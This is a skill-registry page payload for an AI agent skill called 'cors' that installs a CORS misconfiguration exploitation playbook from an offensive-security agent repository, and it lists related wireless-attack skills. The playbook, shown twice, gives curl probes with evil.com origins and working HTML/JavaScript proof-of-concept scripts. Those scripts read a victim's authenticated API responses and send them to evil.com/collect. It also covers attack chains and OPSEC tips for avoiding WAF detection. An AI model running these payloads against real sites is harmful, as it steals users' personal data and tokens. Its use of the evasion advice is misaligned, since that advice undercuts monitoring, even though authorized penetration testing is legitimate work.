[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M78HKBX62C8V2GQ0ZN3MN44B":3,"skill-same:01M78HKBX62C8V2GQ0ZN3MN44B":49},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":17,"publishedAt":18,"linkOnly":19,"markdownContent":20,"markdownBody":21,"frontMatter":22,"refName":29,"commitSha":30,"skillDirectory":31,"forksCount":13,"repositoryHtmlUrl":32,"repositoryHomepageUrl":6,"ownerHtmlUrl":33,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":34,"install":35,"resources":48},"01M78HKBX62C8V2GQ0ZN3MN44B","cors",null,"CORS misconfiguration exploitation — reflected origin, null origin, trusted-subdomain abuse, regex-validation bypass, and credentialed cross-origin data theft.","dnzengou\u002Fevo-decepticon","dnzengou","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F7807581?v=4","01M75KKJA3F5ZP7CA10MB2AEXC","01M78GP0FED2V1CDPB1N6G0CTH",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fcors\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: cors\ndescription: CORS misconfiguration exploitation — reflected origin, null origin, trusted-subdomain abuse, regex-validation bypass, and credentialed cross-origin data theft.\nallowed-tools: Bash Read Write\nmetadata:\n  when_to_use: \"cors cross-origin access-control-allow-origin acao acac preflight withcredentials origin reflection null origin\"\n  mitre_attack: T1190\n  subdomain: execution\n  tags: web-application, cors, origin, cross-origin, data-exfiltration\n---\n\n# CORS Misconfiguration Playbook\n\nA permissive `Access-Control-Allow-Origin` (ACAO) becomes critical the moment it\nis paired with `Access-Control-Allow-Credentials: true` (ACAC) — any origin the\nserver reflects can read authenticated responses (PII, API keys, CSRF tokens).\nACAO alone (no credentials) is usually Low unless the endpoint serves secrets to\nunauthenticated requests.\n\n## 1. Detection — probe origin reflection\n```bash\n# Reflected-origin + credentials = the critical case\nfor o in \"https:\u002F\u002Fevil.com\" \"null\" \"https:\u002F\u002F\u003CTARGET>.evil.com\" \"https:\u002F\u002Fevil.com.\u003CTARGET>\"; do\n  echo \"== Origin: $o ==\"\n  curl -s -D- -o \u002Fdev\u002Fnull \"https:\u002F\u002F\u003CTARGET>\u002Fapi\u002Faccount\" -H \"Origin: $o\" \\\n    | grep -i \"access-control-allow-origin\\|access-control-allow-credentials\"\ndone\n\n# Preflight behaviour (which methods\u002Fheaders are allowed cross-origin)\ncurl -s -D- -o \u002Fdev\u002Fnull -X OPTIONS \"https:\u002F\u002F\u003CTARGET>\u002Fapi\u002Faccount\" \\\n  -H \"Origin: https:\u002F\u002Fevil.com\" \\\n  -H \"Access-Control-Request-Method: PUT\" \\\n  -H \"Access-Control-Request-Headers: authorization\" \\\n  | grep -i \"access-control-\"\n```\nA response echoing `Access-Control-Allow-Origin: https:\u002F\u002Fevil.com` **and**\n`Access-Control-Allow-Credentials: true` confirms exploitable reflection.\n\n## 2. Misconfiguration matrix\n\n| Class | Server behaviour | Exploit origin |\n|---|---|---|\n| Origin reflection | ACAO echoes any `Origin` + ACAC true | `https:\u002F\u002Fevil.com` |\n| `null` allowed | ACAO: null + ACAC true | sandboxed iframe \u002F `data:`\u002F`file:` (sends `Origin: null`) |\n| Wildcard + creds (browser-blocked, but check tooling) | `ACAO: *` with secrets | only if creds not required |\n| Suffix match flaw | allows `*target.com` | `https:\u002F\u002Fevil-target.com` |\n| Prefix match flaw | allows `target.com*` | `https:\u002F\u002Ftarget.com.evil.com` |\n| Unescaped dot in regex | `^https:\u002F\u002Fapp.target.com$` | `https:\u002F\u002Fappxtarget.com` |\n| Trusted subdomain + XSS | allows `*.target.com` | XSS on any subdomain → same-site fetch |\n| Pre-domain confusion | naive `contains(\"target.com\")` | `https:\u002F\u002Ftarget.com.evil.com`, `https:\u002F\u002Feviltarget.com` |\n\n## 3. Exploit PoC — credentialed cross-origin read\n```html\n\u003C!-- host on attacker origin; victim must be authenticated to \u003CTARGET> -->\n\u003Cscript>\n  const url = \"https:\u002F\u002F\u003CTARGET>\u002Fapi\u002Faccount\";\n  fetch(url, { credentials: \"include\" })\n    .then(r => r.text())\n    .then(data => navigator.sendBeacon(\"https:\u002F\u002Fevil.com\u002Fcollect\", data));\n\u003C\u002Fscript>\n```\nFor `null`-origin servers, deliver the same script inside a sandboxed iframe so\nthe browser sends `Origin: null`:\n```html\n\u003Ciframe sandbox=\"allow-scripts allow-same-origin\" srcdoc=\"\n  &lt;script&gt;fetch('https:\u002F\u002F\u003CTARGET>\u002Fapi\u002Faccount',{credentials:'include'})\n   .then(r=&gt;r.text()).then(d=&gt;fetch('https:\u002F\u002Fevil.com\u002Fc?d='+encodeURIComponent(d)));&lt;\u002Fscript&gt;\">\n\u003C\u002Fiframe>\n```\n\n## 4. Chains\n- **CORS → token theft → CSRF**: steal the anti-CSRF token from a reflected\n  JSON response, then forge state-changing requests that previously looked\n  protected.\n- **Subdomain XSS → CORS**: server trusts `*.target.com`; an XSS (even DOM-only)\n  on a forgotten subdomain runs in an allowed origin and reads the main API.\n- **CORS → API key \u002F PII exfil**: any endpoint returning bearer tokens, account\n  data, or internal config becomes a one-click mass-exfil primitive.\n\n## 5. Tools\n- **Corsy** — fast misconfiguration scanner (`python corsy.py -u https:\u002F\u002F\u003CTARGET>`)\n- **CORScanner** — origin-reflection + regex-flaw detection\n- Burp Suite — *CORS* checks (active scan) + manual `Origin` fuzzing in Repeater\n\n## 6. Detection signatures & OPSEC\n\n| Indicator | Detection method | OPSEC note |\n|---|---|---|\n| Repeated `Origin:` variants from one IP | WAF \u002F access-log anomaly | Throttle probes; reuse a single canary origin |\n| `OPTIONS` flood (preflight fuzzing) | Rate-based WAF rule | Test one endpoint at a time |\n| Beacon to external collector | Egress\u002FDNS monitoring | Use an in-scope collector during authorized tests |\n\n## Decision Gate: CORS confirmed → exploitation\n- [ ] ACAO reflects an attacker-controlled origin (or `null`)\n- [ ] ACAC is `true` (or the endpoint serves secrets without auth)\n- [ ] A sensitive response body is readable cross-origin\n- [ ] PoC exfiltrates real data from an authenticated victim context\nIf all checked, escalate per `finding-protocol`; otherwise downgrade to\ninformational (ACAO without credentials\u002Fsecrets).\n","# CORS Misconfiguration Playbook\n\nA permissive `Access-Control-Allow-Origin` (ACAO) becomes critical the moment it\nis paired with `Access-Control-Allow-Credentials: true` (ACAC) — any origin the\nserver reflects can read authenticated responses (PII, API keys, CSRF tokens).\nACAO alone (no credentials) is usually Low unless the endpoint serves secrets to\nunauthenticated requests.\n\n## 1. Detection — probe origin reflection\n```bash\n# Reflected-origin + credentials = the critical case\nfor o in \"https:\u002F\u002Fevil.com\" \"null\" \"https:\u002F\u002F\u003CTARGET>.evil.com\" \"https:\u002F\u002Fevil.com.\u003CTARGET>\"; do\n  echo \"== Origin: $o ==\"\n  curl -s -D- -o \u002Fdev\u002Fnull \"https:\u002F\u002F\u003CTARGET>\u002Fapi\u002Faccount\" -H \"Origin: $o\" \\\n    | grep -i \"access-control-allow-origin\\|access-control-allow-credentials\"\ndone\n\n# Preflight behaviour (which methods\u002Fheaders are allowed cross-origin)\ncurl -s -D- -o \u002Fdev\u002Fnull -X OPTIONS \"https:\u002F\u002F\u003CTARGET>\u002Fapi\u002Faccount\" \\\n  -H \"Origin: https:\u002F\u002Fevil.com\" \\\n  -H \"Access-Control-Request-Method: PUT\" \\\n  -H \"Access-Control-Request-Headers: authorization\" \\\n  | grep -i \"access-control-\"\n```\nA response echoing `Access-Control-Allow-Origin: https:\u002F\u002Fevil.com` **and**\n`Access-Control-Allow-Credentials: true` confirms exploitable reflection.\n\n## 2. Misconfiguration matrix\n\n| Class | Server behaviour | Exploit origin |\n|---|---|---|\n| Origin reflection | ACAO echoes any `Origin` + ACAC true | `https:\u002F\u002Fevil.com` |\n| `null` allowed | ACAO: null + ACAC true | sandboxed iframe \u002F `data:`\u002F`file:` (sends `Origin: null`) |\n| Wildcard + creds (browser-blocked, but check tooling) | `ACAO: *` with secrets | only if creds not required |\n| Suffix match flaw | allows `*target.com` | `https:\u002F\u002Fevil-target.com` |\n| Prefix match flaw | allows `target.com*` | `https:\u002F\u002Ftarget.com.evil.com` |\n| Unescaped dot in regex | `^https:\u002F\u002Fapp.target.com$` | `https:\u002F\u002Fappxtarget.com` |\n| Trusted subdomain + XSS | allows `*.target.com` | XSS on any subdomain → same-site fetch |\n| Pre-domain confusion | naive `contains(\"target.com\")` | `https:\u002F\u002Ftarget.com.evil.com`, `https:\u002F\u002Feviltarget.com` |\n\n## 3. Exploit PoC — credentialed cross-origin read\n```html\n\u003C!-- host on attacker origin; victim must be authenticated to \u003CTARGET> -->\n\u003Cscript>\n  const url = \"https:\u002F\u002F\u003CTARGET>\u002Fapi\u002Faccount\";\n  fetch(url, { credentials: \"include\" })\n    .then(r => r.text())\n    .then(data => navigator.sendBeacon(\"https:\u002F\u002Fevil.com\u002Fcollect\", data));\n\u003C\u002Fscript>\n```\nFor `null`-origin servers, deliver the same script inside a sandboxed iframe so\nthe browser sends `Origin: null`:\n```html\n\u003Ciframe sandbox=\"allow-scripts allow-same-origin\" srcdoc=\"\n  &lt;script&gt;fetch('https:\u002F\u002F\u003CTARGET>\u002Fapi\u002Faccount',{credentials:'include'})\n   .then(r=&gt;r.text()).then(d=&gt;fetch('https:\u002F\u002Fevil.com\u002Fc?d='+encodeURIComponent(d)));&lt;\u002Fscript&gt;\">\n\u003C\u002Fiframe>\n```\n\n## 4. Chains\n- **CORS → token theft → CSRF**: steal the anti-CSRF token from a reflected\n  JSON response, then forge state-changing requests that previously looked\n  protected.\n- **Subdomain XSS → CORS**: server trusts `*.target.com`; an XSS (even DOM-only)\n  on a forgotten subdomain runs in an allowed origin and reads the main API.\n- **CORS → API key \u002F PII exfil**: any endpoint returning bearer tokens, account\n  data, or internal config becomes a one-click mass-exfil primitive.\n\n## 5. Tools\n- **Corsy** — fast misconfiguration scanner (`python corsy.py -u https:\u002F\u002F\u003CTARGET>`)\n- **CORScanner** — origin-reflection + regex-flaw detection\n- Burp Suite — *CORS* checks (active scan) + manual `Origin` fuzzing in Repeater\n\n## 6. Detection signatures & OPSEC\n\n| Indicator | Detection method | OPSEC note |\n|---|---|---|\n| Repeated `Origin:` variants from one IP | WAF \u002F access-log anomaly | Throttle probes; reuse a single canary origin |\n| `OPTIONS` flood (preflight fuzzing) | Rate-based WAF rule | Test one endpoint at a time |\n| Beacon to external collector | Egress\u002FDNS monitoring | Use an in-scope collector during authorized tests |\n\n## Decision Gate: CORS confirmed → exploitation\n- [ ] ACAO reflects an attacker-controlled origin (or `null`)\n- [ ] ACAC is `true` (or the endpoint serves secrets without auth)\n- [ ] A sensitive response body is readable cross-origin\n- [ ] PoC exfiltrates real data from an authenticated victim context\nIf all checked, escalate per `finding-protocol`; otherwise downgrade to\ninformational (ACAO without credentials\u002Fsecrets).\n",{"name":5,"metadata":23,"description":7,"allowed-tools":28},{"tags":24,"subdomain":25,"when_to_use":26,"mitre_attack":27},"web-application, cors, origin, cross-origin, data-exfiltration","execution","cors cross-origin access-control-allow-origin acao acac preflight withcredentials origin reflection null origin","T1190","Bash Read Write","main","376de63e2b186eeb9856476ae89186e62b1d3fbe","packages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fcors","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon","https:\u002F\u002Fgithub.com\u002Fdnzengou","2026-11-09 16:34:40",{"source":8,"skillName":5,"commands":36,"prompt":46,"zipAvailable":47},[37,40,43],{"tool":38,"command":39},"npx","npx skills add dnzengou\u002Fevo-decepticon --skill cors",{"tool":41,"command":42},"bunx","bunx skills add dnzengou\u002Fevo-decepticon --skill cors",{"tool":44,"command":45},"pnpm","pnpm dlx skills add dnzengou\u002Fevo-decepticon --skill cors","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fcors\u002FSKILL.md",true,[],[50,57,64,71,78,85],{"skillNo":51,"name":52,"nameZh":6,"description":53,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":54,"categories":55,"keywords":56,"publishedAt":18},"01M78JAX15GZR5Q5S7RMPWFX43","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":58,"name":59,"nameZh":6,"description":60,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":61,"categories":62,"keywords":63,"publishedAt":18},"01M78JARXE0ZER8P81SFD024YP","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":65,"name":66,"nameZh":6,"description":67,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":68,"categories":69,"keywords":70,"publishedAt":18},"01M78JANJNH8VMR0CK1Y6AM74G","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":72,"name":73,"nameZh":6,"description":74,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":75,"categories":76,"keywords":77,"publishedAt":18},"01M78JAFCYR2BAJF7KH0ZCXREA","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":79,"name":80,"nameZh":6,"description":81,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":82,"categories":83,"keywords":84,"publishedAt":18},"01M78JAAQ5T08FR9MY5SFNRWBM","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":86,"name":87,"nameZh":6,"description":88,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":89,"categories":90,"keywords":91,"publishedAt":18},"01M78JA6799JQZE0M9B21HRMGY","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]